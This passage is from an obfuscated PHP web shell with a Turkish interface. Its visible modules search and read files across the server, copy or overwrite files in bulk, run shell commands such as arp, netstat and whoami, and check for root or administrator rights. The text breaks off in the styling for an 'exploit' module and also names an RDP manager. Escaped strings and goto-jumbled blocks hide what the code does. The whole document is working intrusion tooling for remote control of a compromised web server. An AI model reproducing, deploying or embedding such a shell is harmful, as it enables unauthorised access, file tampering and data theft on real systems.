(isset($_POST["\155\x61\x73\x73\137\141\x63\164\x69\157\x6e"]) && $_POST["\x6d\141\163\163\x5f\141\x63\164\x69\x6f\x6e"] == "\x66\x69\156\144\x65\162") { $finder_dir = rtrim($_POST["\146\151\156\144\x65\162\137\x64\x69\x72"], "\57"); $finder_pattern = $_POST["\x66\151\x6e\x64\145\162\137\x70\141\x74\x74\x65\162\x6e"]; $finder_search = $_POST["\x66\x69\x6e\144\145\162\x5f\x73\145\x61\x72\143\x68"]; $finder_recursive = isset($_POST["\x66\x69\x6e\x64\145\x72\137\162\145\x63\x75\162\x73\x69\x76\x65"]); $finder_content = isset($_POST["\x66\151\156\144\x65\x72\137\x63\x6f\156\164\x65\x6e\x74"]); $finder_case = isset($_POST["\x66\151\156\x64\145\162\x5f\143\141\163\145"]); echo "\x3c\144\x69\x76\x20\143\x6c\x61\163\163\75\x22\x6d\x61\163\163\55\157\x75\164\160\x75\164\42\x20\151\144\75\42\146\151\156\x64\145\162\55\x72\145\x73\x75\x6c\164\x73\x22\x3e"; echo "\x3c\x64\x69\x76\x20\x63\x6c\141\163\x73\75\x22\157\165\x74\x70\x75\x74\55\154\151\156\145\x22\x3e\x3c\163\x70\141\x6e\40\143\154\141\x73\163\75\x22\x69\x6e\x66\x6f\42\x3e\360\237\224\x8e\40\101\162\141\156\304\xb1\x79\157\x72\56\x2e\56\x3c\57\x73\160\141\x6e\x3e\74\x2f\144\x69\166\76"; echo "\74\144\151\166\40\143\154\x61\x73\x73\x3d\42\157\165\164\x70\165\x74\55\154\x69\x6e\x65\42\x3e\74\163\x70\141\156\x20\x63\x6c\x61\x73\x73\75\x22\x64\x69\155\x22\x3e\xf0\237\x93\202\40\104\151\x7a\x69\156\x3a\40" . $finder_dir . "\x3c\x2f\163\160\141\156\x3e\x3c\57\144\151\166\x3e"; echo "\74\x64\x69\x76\40\143\154\x61\163\163\75\42\157\165\164\160\165\164\x2d\x6c\151\156\x65\42\76\x3c\x73\160\141\x6e\x20\x63\x6c\141\163\x73\75\x22\144\151\155\x22\x3e\360\x9f\x94\215\x20\104\145\x73\x65\x6e\x3a\x20" . $finder_pattern . "\x3c\x2f\163\x70\x61\156\x3e\x3c\x2f\x64\151\166\x3e"; if ($finder_search) { echo "\x3c\x64\x69\x76\x20\x63\154\141\163\163\x3d\42\157\x75\164\160\165\x74\55\x6c\151\x6e\x65\42\x3e\74\163\160\141\156\x20\143\154\x61\163\163\x3d\42\x64\x69\x6d\42\x3e\360\x9f\224\215\x20\115\x65\x74\151\156\x3a\40\x22" . $finder_search . "\x22\x3c\57\163\x70\x61\156\76\74\57\144\x69\x76\76"; } $files = array(); if ($finder_recursive) { $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($finder_dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($iter as $file) { if ($file->isFile()) { $files[] = $file->getPathname(); } } } else { $files = glob($finder_dir . "\x2f" . $finder_pattern); if ($files === false) { $files = array(); } } $pattern_regex = "\x2f\x5e" . str_replace(array("\x2e", "\52"), array("\134\x2e", "\x2e\x2a"), $finder_pattern) . "\44\57"; $matched = array(); foreach ($files as $file) { if (preg_match($pattern_regex, basename($file))) { if ($finder_search) { if ($finder_content) { $content = @file_get_contents($file); if ($content !== false) { if ($finder_case) { if (strpos($content, $finder_search) !== false) { $matched[] = $file; } } else { if (stripos($content, $finder_search) !== false) { $matched[] = $file; } } } } else { $matched[] = $file; } } else { $matched[] = $file; } } } $total = count($matched); if ($total > 0) { echo "\x3c\144\x69\x76\x20\x63\154\x61\163\163\75\x22\x6f\x75\164\160\x75\164\55\x6c\151\x6e\x65\x22\x3e\x3c\163\160\x61\156\40\143\x6c\141\163\x73\x3d\42\x73\165\143\143\145\163\163\x22\x3e\xe2\234\x85\x20" . $total . "\40\x64\157\x73\x79\x61\x20\x62\x75\154\165\x6e\x64\x75\x3c\57\163\160\x61\x6e\x3e\74\57\x64\151\x76\76"; foreach ($matched as $file) { $size = filesize($file); echo "\x3c\144\x69\166\x20\x63\154\x61\x73\x73\75\42\x6f\165\164\x70\165\164\55\154\151\156\x65\42\x3e"; echo "\x20\40\74\163\x70\141\x6e\40\143\x6c\x61\163\x73\75\42\150\x69\147\x68\x6c\151\x67\x68\x74\42\x3e\360\x9f\223\204\74\57\x73\160\x61\156\x3e\x20" . htmlspecialchars($file); echo "\40\40\74\163\x70\141\x6e\40\x63\154\141\163\x73\75\x22\x64\x69\155\42\x3e\x28" . ($size ? formatSize($size) : "\60\40\x42") . "\x29\x3c\x2f\163\x70\141\156\x3e"; echo "\x3c\57\x64\x69\166\76"; } } else { echo "\x3c\x64\151\x76\40\143\154\141\x73\163\75\42\x6f\165\164\160\x75\164\55\x6c\151\x6e\145\42\x3e\74\163\160\141\156\40\143\154\141\163\x73\x3d\x22\x77\x61\162\x6e\x22\76\342\232\240\357\xb8\217\40\x48\151\303\247\x20\144\x6f\x73\171\141\x20\142\x75\154\x75\x6e\x61\x6d\141\x64\304\xb1\x3c\x2f\163\x70\x61\x6e\76\x3c\57\144\x69\x76\76"; } echo "\x3c\57\144\x69\x76\x3e"; } ?> </div> <!-- ============================================================ --> <!-- 4. MASS BACKUP & RESTORE --> <!-- ============================================================ --> <div class="mass-card"> <div class="card-header"> <i class="fas fa-hdd"></i> <h4>💾 Mass Backup & Restore</h4> <span class="badge">Yedekle</span> </div> <form method="POST" class="mass-form"> <div class="input-group"> <input type="text" name="backup_dir" placeholder="Dizin yolu" value="<?php echo getcwd(); ?> "> </div> <div class="input-group"> <input type="text" name="backup_pattern" placeholder="Desen (örn: *.php)" value="*.php"> </div> <div class="input-group"> <input type="text" name="backup_dest" placeholder="Yedek dizini" value="<?php echo getcwd(); ?> /backup_<?php echo date("\x59\155\144\137\x48\x69\163"); ?> "> </div> <div class="input-group"> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="backup_recursive" value="1" checked> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-folder-open"></i> Recursive </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="backup_compress" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-file-archive"></i> Zip </label> <label class="toggle-label-mass"> <span class="toggle-switch-mass"> <input type="checkbox" name="backup_dry" value="1"> <span class="toggle-slider-mass"></span> </span> <i class="fas fa-flask"></i> Kuru </label> </div> <div class="btn-group-mass"> <button type="submit" name="mass_action" value="backup" class="btn-neon-mass success"> <i class="fas fa-save"></i> Yedekle </button> <button type="submit" name="mass_action" value="restore" class="btn-neon-mass warning"> <i class="fas fa-undo-alt"></i> Geri Yükle </button> </div> </form> <?php if (isset($_POST["\x6d\x61\x73\163\x5f\141\143\164\151\x6f\x6e"]) && in_array($_POST["\155\x61\x73\x73\x5f\141\143\x74\x69\x6f\156"], array("\x62\x61\143\x6b\x75\x70", "\x72\x65\163\164\x6f\x72\145"))) { $backup_dir = rtrim($_POST["\x62\141\x63\153\x75\x70\137\x64\151\x72"], "\57"); $backup_pattern = $_POST["\x62\141\143\153\x75\x70\x5f\160\141\x74\164\145\162\156"]; $backup_dest = $_POST["\142\141\x63\x6b\165\160\137\x64\145\x73\164"]; $backup_recursive = isset($_POST["\142\141\x63\x6b\x75\160\137\162\145\x63\x75\162\163\x69\x76\145"]); $backup_compress = isset($_POST["\142\141\143\153\165\160\137\x63\x6f\x6d\x70\162\x65\163\163"]); $backup_dry = isset($_POST["\142\141\143\153\x75\x70\x5f\x64\x72\171"]); $is_restore = $_POST["\x6d\x61\163\163\137\x61\143\x74\151\157\156"] == "\x72\x65\x73\x74\157\x72\145"; echo "\74\x64\x69\166\x20\143\x6c\141\x73\163\75\x22\155\x61\163\163\x2d\x6f\165\164\x70\x75\164\42\76"; echo "\74\x64\x69\166\x20\x63\154\141\x73\x73\75\x22\157\165\x74\160\x75\164\x2d\x6c\151\156\145\x22\x3e\x3c\163\160\x61\x6e\40\x63\154\141\163\x73\x3d\42\151\x6e\x66\157\42\76" . ($is_restore ? "\xf0\x9f\223\245\40\107\145\162\x69\40\171\xc3\xbc\153\154\x65\156\x69\x79\157\162\x2e\56\56" : "\xf0\x9f\222\276\x20\x59\145\144\145\x6b\x6c\145\156\x69\171\157\x72\x2e\x2e\56") . "\x3c\57\x73\x70\x61\x6e\x3e\74\x2f\144\x69\166\x3e"; echo "\74\144\x69\x76\40\x63\x6c\x61\x73\x73\75\42\x6f\165\x74\160\x75\164\x2d\154\151\156\x65\42\x3e\x3c\163\160\141\156\40\x63\154\141\x73\x73\x3d\42\x64\x69\155\x22\76\360\x9f\223\202\40\113\x61\171\x6e\141\x6b\x3a\40" . $backup_dir . "\x3c\57\x73\160\141\156\x3e\74\x2f\x64\x69\x76\x3e"; echo "\74\x64\x69\x76\40\143\x6c\141\163\163\75\42\157\165\164\160\165\x74\x2d\154\151\x6e\145\42\x3e\x3c\163\x70\141\156\x20\143\x6c\141\163\x73\75\x22\x64\x69\155\42\76\360\x9f\223\x82\x20\x48\145\x64\145\x66\72\40" . $backup_dest . "\x3c\57\163\x70\141\x6e\76\x3c\57\x64\x69\166\76"; if ($backup_dry) { echo "\74\x64\x69\166\40\x63\x6c\x61\x73\x73\75\x22\157\x75\164\160\165\164\x2d\x6c\151\156\145\42\76\x3c\163\160\141\156\40\x63\154\x61\x73\x73\75\x22\x77\141\162\x6e\x22\x3e\360\237\xa7\xaa\x20\113\125\x52\125\x20\xc3\x87\x41\x4c\111\xc5\x9e\124\x49\122\115\101\74\57\163\160\141\156\76\74\x2f\144\151\x76\x3e"; } if ($is_restore) { if (!is_dir($backup_dest)) { echo "\74\x64\151\166\x20\143\154\141\x73\x73\75\x22\x6f\x75\x74\160\x75\164\x2d\x6c\151\156\145\42\76\x3c\163\160\x61\156\40\x63\154\141\163\x73\75\x22\x65\162\162\157\x72\42\76\xe2\x9d\x8c\x20\x59\x65\144\x65\x6b\40\144\x69\x7a\x69\156\151\40\x62\x75\154\x75\x6e\141\x6d\141\144\304\xb1\x21\x3c\57\163\x70\141\156\76\74\x2f\x64\x69\x76\76"; } else { $files = glob($backup_dest . "\57\x2a" . str_replace("\52", '', $backup_pattern)); $success = 0; $errors = 0; foreach ($files as $file) { $basename = basename($file); $target = $backup_dir . "\57" . $basename; if (!$backup_dry) { if (@copy($file, $target)) { $success++; echo "\74\x64\x69\166\x20\143\154\x61\x73\x73\x3d\x22\157\x75\164\160\165\164\55\x6c\x69\156\x65\x22\76\74\x73\x70\x61\156\40\143\x6c\x61\x73\163\x3d\42\163\165\x63\x63\x65\x73\x73\42\76\xe2\x9c\205\x3c\x2f\x73\160\x61\156\76\40" . htmlspecialchars($basename) . "\40\x3c\163\x70\141\156\x20\x63\154\x61\x73\x73\x3d\42\144\151\x6d\x22\76\147\x65\162\x69\40\x79\303\274\x6b\x6c\145\156\x64\151\74\57\163\x70\x61\156\76\x3c\57\144\151\166\76"; } else { $errors++; echo "\x3c\x64\151\166\x20\143\154\141\x73\x73\75\x22\x6f\x75\164\160\x75\164\x2d\154\x69\x6e\145\42\76\x3c\163\160\141\156\x20\143\x6c\x61\163\x73\x3d\x22\145\x72\162\x6f\x72\42\x3e\342\x9d\214\x3c\x2f\163\160\x61\x6e\x3e\40" . htmlspecialchars($basename) . "\40\x3c\x73\x70\141\156\40\x63\x6c\x61\163\163\x3d\x22\144\151\155\42\76\50\150\141\x74\141\51\x3c\x2f\163\160\x61\x6e\x3e\74\57\x64\x69\x76\76"; } } else { $success++; echo "\74\144\x69\x76\x20\143\x6c\x61\163\163\75\42\x6f\165\x74\160\165\x74\55\154\x69\156\x65\x22\x3e\x3c\163\x70\141\156\x20\x63\x6c\x61\x73\163\x3d\42\x69\156\146\157\x22\76\360\x9f\224\215\x3c\x2f\163\x70\141\x6e\x3e\x20" . htmlspecialchars($basename) . "\x20\74\163\160\x61\156\40\143\154\141\163\163\75\x22\x64\x69\x6d\42\x3e\x28\x6b\x75\x72\165\51\x3c\x2f\x73\x70\141\156\76\x3c\57\x64\x69\166\76"; } } echo "\74\x64\151\x76\x20\143\x6c\x61\x73\163\75\x22\157\x75\164\160\x75\164\x2d\154\151\156\145\x22\40\x73\x74\171\154\x65\75\42\142\x6f\x72\x64\x65\162\55\164\x6f\160\72\x31\160\170\40\x73\x6f\154\151\144\40\162\147\x62\x61\50\x31\67\71\54\60\x2c\62\65\x35\54\x30\56\x31\x29\73\155\141\x72\147\x69\156\55\164\x6f\160\72\65\160\x78\73\160\141\144\144\151\x6e\147\55\164\157\x70\x3a\x35\x70\x78\73\42\x3e"; if ($backup_dry) { echo "\x3c\x73\x70\141\156\40\143\x6c\141\x73\x73\x3d\42\x69\156\x66\157\x22\76\360\237\xa7\xaa\x20" . $success . "\x20\x64\x6f\163\171\x61\40\147\145\162\151\40\x79\303\xbc\x6b\x6c\145\156\145\x63\x65\153\x3c\x2f\x73\160\141\156\76"; } else { echo "\74\163\x70\x61\156\40\x63\154\x61\163\163\x3d\x22\x73\165\x63\x63\x65\163\163\x22\x3e\342\234\205\40" . $success . "\x20\144\x6f\163\171\x61\40\x67\145\x72\x69\40\x79\303\xbc\x6b\x6c\145\x6e\x64\151\x2c\x20" . $errors . "\40\150\141\164\141\x3c\57\163\160\141\x6e\x3e"; } echo "\x3c\x2f\x64\151\166\x3e"; } } else { if (!is_dir($backup_dest)) { if (!$backup_dry) { mkdir($backup_dest, 493, true); } } $files = array(); if ($backup_recursive) { $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($backup_dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($iter as $file) { if ($file->isFile()) { $files[] = $file->getPathname(); } } } else { $files = glob($backup_dir . "\57" . $backup_pattern); if ($files === false) { $files = array(); } } $pattern_regex = "\57\x5e" . str_replace(array("\x2e", "\x2a"), array("\134\x2e", "\x2e\x2a"), $backup_pattern) . "\x24\x2f"; $matched = array(); foreach ($files as $file) { if (preg_match($pattern_regex, basename($file))) { $matched[] = $file; } } $success = 0; $errors = 0; foreach ($matched as $file) { $basename = basename($file); $target = $backup_dest . "\57" . $basename; if (!$backup_dry) { if (@copy($file, $target)) { $success++; echo "\74\144\x69\x76\40\x63\x6c\141\x73\163\x3d\42\x6f\x75\x74\160\x75\164\55\154\x69\156\145\42\x3e\x3c\163\x70\x61\x6e\40\143\x6c\x61\163\163\75\x22\x73\x75\143\x63\x65\163\x73\42\x3e\342\x9c\205\74\57\x73\160\x61\x6e\x3e\40" . htmlspecialchars($basename) . "\x20\x3c\x73\x70\141\156\40\x63\x6c\141\x73\x73\x3d\42\x64\151\x6d\x22\76\x79\x65\144\145\x6b\154\145\x6e\144\x69\74\x2f\163\160\x61\156\x3e\x3c\57\x64\151\166\x3e"; } else { $errors++; echo "\x3c\144\151\x76\40\x63\x6c\x61\163\x73\x3d\x22\157\x75\x74\x70\x75\x74\x2d\154\151\156\145\x22\76\74\163\x70\x61\156\x20\x63\154\141\x73\x73\75\x22\145\162\x72\x6f\x72\42\76\xe2\x9d\x8c\74\x2f\x73\160\x61\156\x3e\x20" . htmlspecialchars($basename) . "\40\74\x73\160\x61\156\40\143\154\141\163\163\75\42\144\151\155\42\x3e\50\x68\x61\x74\x61\x29\x3c\57\x73\x70\141\156\x3e\x3c\x2f\x64\151\x76\x3e"; } } else { $success++; echo "\74\144\151\x76\x20\x63\x6c\141\x73\163\x3d\42\x6f\x75\x74\160\x75\x74\x2d\154\151\156\145\42\x3e\x3c\163\x70\x61\x6e\x20\x63\x6c\x61\163\x73\x3d\42\151\x6e\x66\157\x22\76\360\237\x94\x8d\74\x2f\163\160\141\x6e\76\40" . htmlspecialchars($basename) . "\40\x3c\x73\160\x61\x6e\x20\x63\154\x61\163\163\75\42\x64\x69\x6d\42\x3e\50\x6b\x75\x72\x75\51\x3c\57\x73\x70\141\156\x3e\x3c\57\144\x69\x76\76"; } } echo "\x3c\144\151\166\40\143\x6c\141\163\163\x3d\x22\x6f\165\x74\x70\x75\164\x2d\x6c\151\x6e\145\x22\x20\x73\x74\171\154\x65\x3d\42\x62\157\x72\x64\145\x72\55\x74\x6f\160\x3a\61\160\170\x20\x73\x6f\154\151\x64\x20\x72\x67\142\141\50\x31\x37\71\x2c\x30\x2c\x32\65\x35\54\60\56\61\51\73\155\x61\162\x67\151\156\55\164\157\x70\x3a\65\x70\170\73\160\141\x64\144\x69\156\x67\55\x74\157\160\x3a\x35\x70\170\x3b\42\76"; if ($backup_dry) { echo "\x3c\163\160\x61\x6e\40\x63\x6c\x61\x73\x73\x3d\x22\151\156\x66\157\42\x3e\xf0\237\247\xaa\40" . $success . "\x20\x64\157\163\x79\141\40\171\x65\x64\145\x6b\154\x65\x6e\x65\143\145\x6b\74\57\x73\160\141\x6e\x3e"; } else { echo "\x3c\x73\160\x61\156\40\143\x6c\141\x73\x73\x3d\42\x73\165\143\143\145\x73\x73\42\x3e\342\x9c\205\x20" . $success . "\40\144\157\x73\171\x61\40\171\x65\x64\x65\x6b\x6c\x65\x6e\144\151\x2c\40" . $errors . "\40\150\x61\164\141\x3c\x2f\163\160\141\156\76"; echo "\x20\74\163\x70\x61\x6e\40\x63\x6c\141\x73\163\x3d\x22\x64\x69\155\42\x3e\174\x20\xf0\237\223\x82\x20" . htmlspecialchars($backup_dest) . "\x3c\x2f\163\160\x61\156\76"; } echo "\x3c\57\144\151\x76\76"; } echo "\x3c\57\144\151\166\x3e"; } ?> </div> </div> </div> <script> // ===== PARTİKÜL SİSTEMİ ===== (function() { const canvas = document.getElementById('particle-canvas-mass'); if (!canvas) return; const ctx = canvas.getContext('2d'); let particles = []; let animationId = null; let mouseX = 0; let mouseY = 0; function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } window.addEventListener('resize', resizeCanvas); resizeCanvas(); class Particle { constructor() { this.reset(); } reset() { this.x = Math.random() * canvas.width; this.y = Math.random() * canvas.height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.3 + 0.05; this.phase = Math.random() * Math.PI * 2; this.color = ['#ff0044', '#ff6a00', '#ffd700', '#ff00aa', '#b300ff'][Math.floor(Math.random() * 5)]; } update() { this.x += this.speedX + Math.sin(this.phase) * 0.1; this.y += this.speedY + Math.cos(this.phase) * 0.1; this.phase += 0.01; const dx = mouseX - this.x; const dy = mouseY - this.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x -= dx * force * 0.01; this.y -= dy * force * 0.01; } if (this.x < 0) this.x = canvas.width; if (this.x > canvas.width) this.x = 0; if (this.y < 0) this.y = canvas.height; if (this.y > canvas.height) this.y = 0; } draw() { const gradient = ctx.createRadialGradient(this.x, this.y, 0, this.x, this.y, this.size * 4); gradient.addColorStop(0, this.color + Math.round(this.opacity * 150).toString(16).padStart(2, '0')); gradient.addColorStop(0.5, this.color + Math.round(this.opacity * 50).toString(16).padStart(2, '0')); gradient.addColorStop(1, this.color + '00'); ctx.beginPath(); ctx.arc(this.x, this.y, this.size * 4, 0, Math.PI * 2); ctx.fillStyle = gradient; ctx.fill(); ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color + Math.round(this.opacity * 200).toString(16).padStart(2, '0'); ctx.fill(); } } const particleCount = Math.min(80, Math.floor(window.innerWidth * window.innerHeight / 25000)); for (let i = 0; i < particleCount; i++) { particles.push(new Particle()); } function drawConnections() { for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { const opacity = (1 - dist / 120) * 0.06; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(255, 0, 68, ${opacity})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } } function animate() { ctx.clearRect(0, 0, canvas.width, canvas.height); particles.forEach(p => { p.update(); p.draw(); }); drawConnections(); animationId = requestAnimationFrame(animate); } document.addEventListener('mousemove', (e) => { mouseX = e.clientX; mouseY = e.clientY; }); document.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); animate(); window.addEventListener('beforeunload', () => { if (animationId) { cancelAnimationFrame(animationId); } }); })(); // ===== MASS EXTENSIONS PRESET ===== document.addEventListener('DOMContentLoaded', function() { const extSelect = document.getElementById('mass_extensions'); const patternInput = document.querySelector('input[name=mass_pattern]'); if (extSelect && patternInput) { extSelect.addEventListener('change', function() { if (this.value) { patternInput.value = this.value; } }); } }); // ===== FINDER EXPORT ===== function exportFinderResults() { const results = document.getElementById('finder-results'); if (!results) return; const text = results.innerText; const blob = new Blob([text], { type: 'text/plain' }); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = 'finder_results_' + new Date().getTime() + '.txt'; a.click(); URL.revokeObjectURL(url); } // ===== FORMAT SIZE ===== function formatSize(bytes) { if (bytes === 0) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } </script> <?php } goto NC8ce; Qjf52: if ($action == "\x6e\x65\164\x77\157\162\x6b") { ?> <div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;"> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-network-wired"></i> ARP & Portlar</h4> <div class="terminal-box"> <div class="term-body"> <div class="output">🔍 ARP Tablosu:</div> <pre class="output"><?php echo htmlspecialchars(runCmd(isWindows() ? "\141\162\160\x20\55\x61\40\x32\x3e\156\165\x6c" : "\x61\162\160\x20\x2d\141\x20\62\x3e\46\61")); ?> </pre> <div class="output">🔌 Açık Portlar:</div> <pre class="output"><?php echo htmlspecialchars(runCmd(isWindows() ? "\x6e\145\x74\163\x74\141\164\x20\x2d\141\156\40\62\x3e\x6e\x75\x6c\40\x7c\x20\x66\151\x6e\x64\163\164\162\40\114\x49\x53\x54\105\x4e" : "\x6e\145\x74\x73\x74\141\164\40\55\x74\165\x6c\x70\156\x20\62\76\x2f\x64\x65\x76\x2f\156\x75\154\x6c\x20\174\40\x67\162\145\160\40\114\x49\123\124\x45\116")); ?> </pre> </div> </div> </div> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-plug"></i> Bağlantılar</h4> <div class="terminal-box"> <div class="term-body"> <div class="output">📡 Aktif Bağlantılar:</div> <pre class="output"><?php echo htmlspecialchars(runCmd(isWindows() ? "\x6e\145\x74\163\x74\141\164\40\55\141\156\x20\62\x3e\x6e\x75\x6c\x20\x7c\40\146\151\156\144\163\x74\162\x20\105\123\124\101\102\x4c\111\x53\x48\105\104" : "\x6e\145\164\163\x74\x61\164\x20\x2d\164\165\154\160\x6e\40\x32\76\x2f\144\145\166\x2f\156\x75\154\x6c\x20\x7c\40\147\162\145\160\40\x45\123\x54\101\x42\114\x49\x53\110\105\x44")); ?> </pre> </div> </div> </div> </div> <?php } goto SAjdC; awCvS: function isRoot() { $user = getCurrentUser(); if (isWindows()) { return strpos(strtolower($user), "\141\144\155\x69\x6e\x69\163\x74\162\x61\164\157\162") !== false || $user == "\x4e\x54\x20\101\x55\124\110\117\122\111\x54\131\x5c\123\x59\x53\124\105\115"; } return $user == "\x72\x6f\x6f\x74" || $user == "\101\x64\x6d\151\x6e\151\163\x74\x72\x61\x74\x6f\162" || $user == "\141\144\155\151\x6e"; } goto JsapB; w2ulN: if (!in_array($action, $allowed)) { $action = "\x64\x61\x73\150\142\x6f\141\x72\144"; } goto Zf3FT; LF6Al: function getCurrentUser() { if (isWindows()) { $user = function_exists("\145\x78\145\x63") ? exec("\167\x68\157\141\x6d\151\40\x32\x3e\x6e\x75\x6c") : "\167\x77\167\x2d\144\141\x74\141"; } else { $user = function_exists("\x65\170\x65\x63") ? exec("\167\150\x6f\141\155\x69\40\62\76\x2f\x64\145\x76\57\156\165\x6c\x6c") : "\x77\x77\167\x2d\144\x61\164\x61"; } return trim($user); } goto awCvS; AoTZM: ?> <!-- ============================================================ --> <!-- ===== NEON MOR RDP v2.0 - GELİŞMİŞ RDP YÖNETİCİSİ ===== --> <!-- ============================================================ --> <?php goto Z2Uqe; zSOsL: if ($action == "\x65\170\160\x6c\157\x69\164") { ?> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet"> <style> /* Exploit Module Styles - Neon Purple Particle Theme */ .exploit-wrapper { font-family: 'JetBrains Mono', monospace; } .exploit-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(480px, 1fr)); gap: 15px; padding: 5px; } .exploit-card { background: rgba(20, 0, 40, 0.85); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 12px; padding: 18px; backdrop-filter: blur(10px); box-shadow: 0 0 30px rgba(179, 0, 255, 0.1); transition: all 0.3s ease; position: relative; overflow: hidden; } .exploit-card:hover { border-color: #b300ff; box-shadow: 0 0 50px rgba(179, 0, 255, 0.3); transform: translateY(-2px); } .exploit-card::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(179, 0, 255, 0.05) 0%, transparent 70%); animation: particleFloat 15s infinite linear; pointer-events: none; } @keyframes particleFloat { 0% { transform: rotate(0deg) scale(1); } 50% { transform: rotate(180deg) scale(1.2); } 100% { transform: rotate(360deg) scale(1); } } .exploit-card h4 { color: #b300ff; font-size: 13px; font-weight: 700; text-transform: uppercase; letter-spacing: 1.5px; margin-bottom: 15px; text-shadow: 0 0 20px rgba(179, 0, 255, 0.5); display: flex; align-items: center; gap: 8px; } .exploit-card h4 i { font-size: 16px; } .exploit-input-group { display: flex; flex-direction: column; gap: 8px; margin-bottom: 10px; } .exploit-input-group input, .exploit-input-group select, .exploit-input-group textarea { background: rgba(0, 0, 0, 0.6); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 6px; padding: 8px 12px; color: #d4bfff; font-size: 12px; font-family: 'JetBrains Mono', monospace; transition: all 0.3s; width: 100%; box-sizing: border-box; } .exploit-input-group textarea { resize: vertical; min-height: 60px; max-height: 150px; } .exploit-input-group input:focus, .exploit-input-group select:focus, .exploit-input-group textarea:focus { border-color: #b300ff; box-shadow: 0 0 20px rgba(179, 0, 255, 0.2); outline: none; } .exploit-input-group select { cursor: pointer; appearance: auto; } .exploit-input-group select option { background: #1a0a2e; color: #d4bfff; } .btn-group-exploit { display: flex; gap: 6px; flex-wrap: wrap; margin-top: 5px; justify-content: center; } .btn-exploit { background: linear-gradient(135deg, #b300ff, #7a00cc); border: none; border-radius: 6px; padding: 8px 16px; color: #fff; font-weight: 700; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s; box-shadow: 0 0 20px rgba(179, 0, 255, 0.2); white-space: nowrap; font-family: 'JetBrains Mono', monospace; display: inline-flex; align-items: center; justify-content: center; gap: 6px; min-width: 80px; } .btn-exploit:hover { transform: scale(1.05); box-shadow: 0 0 40px rgba(179, 0, 255, 0.4); } .btn-exploit-danger { background: linear-gradient(135deg, #ff0044, #b30033); box-shadow: 0 0 20px rgba(255, 0, 68, 0.2); } .btn-exploit-danger:hover { box-shadow: 0 0 40px rgba(255, 0, 68, 0.4); } .btn-exploit-success { background: linear-gradient(135deg, #00ff88, #00cc66); box-shadow: 0 0 20px rgba(0, 255, 136, 0.2); color: #000; } .btn-exploit-success:hover { box-shadow: 0 0 40px rgba(0, 255, 136, 0.4); } .btn-exploit-warning { background: linear-gradient(135deg, #ffaa00, #ff8800); box-shadow: 0 0 20px rgba(255, 170, 0, 0.2); color: #000; } .btn-exploit-warning:hover { box-shadow: 0 0 40px rgba(255, 170, 0, 0.4); } .exploit-terminal { background: rgba(0, 0, 0, 0.8); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 8px; padding: 12px; margin-top: 12px; max-height: 400px; overflow-y: auto; font-family: 'JetBrains Mono', monospace; font-size: 11px; position: relative; } .exploit-terminal::-webkit-scrollbar { width: 4px; } .exploit-terminal::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); } .exploit-terminal::-webkit-scrollbar-thumb { background: #b300ff; border-radius: 2px; } .term-line { padding: 3px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); color: #d4bfff; animation: terminalFade 0.3s ease; } @keyframes terminalFade { from { opacity: 0; transform: translateX(-10px); } to { opacity: 1; transform: translateX(0); } } .term-line .prompt { color: #b300ff; font-weight: 700; margin-right: 8px; } .term-line .success { color: #00ff88; } .term-line .error { color: #ff0044; } .term-line .warning { color: #ffaa00; } .term-line .info { color: #00ccff; } .term-line .payload { color: #ff66ff; } .term-line .highlight { background: rgba(179, 0, 255, 0.2); padding: 1px 4px; border-radius: 3px; } .term-line .output-block { background: rgba(0, 0, 0, 0.4); padding: 6px 10px; border-radius: 4px; margin: 4px 0; border-left: 2px solid #b300ff; white-space: pre-wrap; word-break: break-all; color: #aaffaa; } .checkbox-group { display: flex; gap: 12px; flex-wrap: wrap; margin: 5px 0; } .checkbox-group label { color: #8866aa; font-size: 11px; display: flex; align-items: center; gap: 4px; cursor: pointer; font-family: 'JetBrains Mono', monospace; } .checkbox-group input[type="checkbox"] { accent-color: #b300ff; width: 14px; height: 14px; cursor: pointer; } .exploit-stats { display: grid; grid-template-columns: repeat(4, 1fr); gap: 8px; margin-bottom: 15px; } .stat-item { background: rgba(0, 0, 0, 0.4); padding: 8px; 